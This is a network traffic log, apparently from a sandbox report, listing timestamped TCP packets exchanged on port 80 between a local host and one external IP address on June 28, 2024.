Jun 28, 2024 22:31:58.441406012 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.441421986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.441500902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441512108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441524029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441548109 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.441572905 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.441632032 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441643953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441653967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441670895 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441680908 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.441683054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441715956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.441725016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.441814899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441826105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441865921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.441935062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441946030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441957951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.441979885 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.442006111 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.442069054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.442080021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.442090988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.442120075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.442131996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451021910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451092958 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451117992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451175928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451273918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451284885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451308012 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451319933 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451407909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451420069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451431036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451441050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451451063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451457977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451483011 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451498985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451508999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451519012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451529980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451541901 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451553106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451579094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451704025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451746941 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451746941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451790094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451816082 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451827049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451838017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.451858997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.451879978 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452035904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452047110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452056885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452069044 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452080011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452083111 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452095985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452251911 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452279091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452296972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452310085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452321053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452327013 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452351093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452373028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452531099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452543020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452553034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452564955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452580929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452605009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452759981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452770948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452780008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452790976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452806950 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452810049 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452816963 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452822924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452835083 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452846050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452846050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452857971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.452871084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.452888966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.453229904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453248978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453275919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.453299046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.453356981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453367949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453381062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453401089 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.453422070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.453497887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453545094 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.453591108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453603029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453613043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453624010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453636885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453641891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.453648090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.453668118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.453689098 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.454032898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454044104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454056025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454066992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454078913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454082966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.454090118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454096079 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.454102039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454123974 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.454149961 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.454451084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454463005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454473972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454484940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454499006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.454500914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454513073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454516888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.454524994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454535961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454538107 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.454564095 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.454586029 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.454910040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454921961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454931021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454942942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.454962015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.454988003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.512778997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.512840033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.512845039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.512953043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.512963057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.513041019 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.513055086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.513065100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.513099909 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.522907019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.522969961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.522975922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.522983074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523017883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.523086071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523097992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523139954 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.523237944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523248911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523260117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523271084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523281097 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.523283005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523312092 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.523335934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.523483992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523521900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523530960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.523535013 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523545027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.523559093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.523580074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.534146070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.534195900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.534205914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.534216881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.534246922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.534257889 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.534339905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.534352064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.534384966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.534398079 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.534528971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.534540892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.534552097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.534563065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.534575939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.534578085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.534588099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.534601927 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.534630060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.535240889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.535254002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.535264969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.535295010 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.535305977 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546159983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546211958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546214104 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546226025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546255112 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546282053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546353102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546364069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546375036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546386003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546406984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546432972 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546605110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546616077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546627045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546637058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546648026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546655893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546677113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546695948 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546865940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546878099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546889067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546900988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546911955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546930075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546936989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546948910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546956062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546961069 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546972036 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546983004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.546988964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.546993971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.547020912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.547038078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.547660112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.547671080 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.547681093 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.547693014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.547703981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.547707081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.547714949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.547724962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.547736883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.547740936 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.547761917 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.547780037 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553132057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553143978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553155899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553165913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553178072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553184032 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553194046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553205967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553211927 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553217888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553230047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553236008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553241014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553255081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553258896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553275108 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553283930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553296089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553303003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553308964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553320885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553329945 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553332090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553344011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553349972 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553354979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553366899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553378105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553379059 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553390026 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553400993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553407907 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553411961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553423882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553435087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553436041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553447008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553457022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553458929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553469896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553479910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553482056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.553500891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.553524971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.554608107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554626942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554637909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554651022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554656029 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.554662943 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554675102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554687023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554687023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.554697990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554708958 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554713964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.554719925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554730892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554734945 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.554742098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554753065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554754972 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.554765940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.554774046 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.554805040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.605576992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.605664015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.605686903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.605699062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.605741024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.605923891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.605941057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.605952978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.605963945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.605967045 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.605994940 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.606017113 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.615255117 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.615329981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.615359068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.615369081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.615415096 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:31:58.615581989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.615592957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:31:58.615602970 CEST	80	49731	85.28.47.4	192.168.2.4
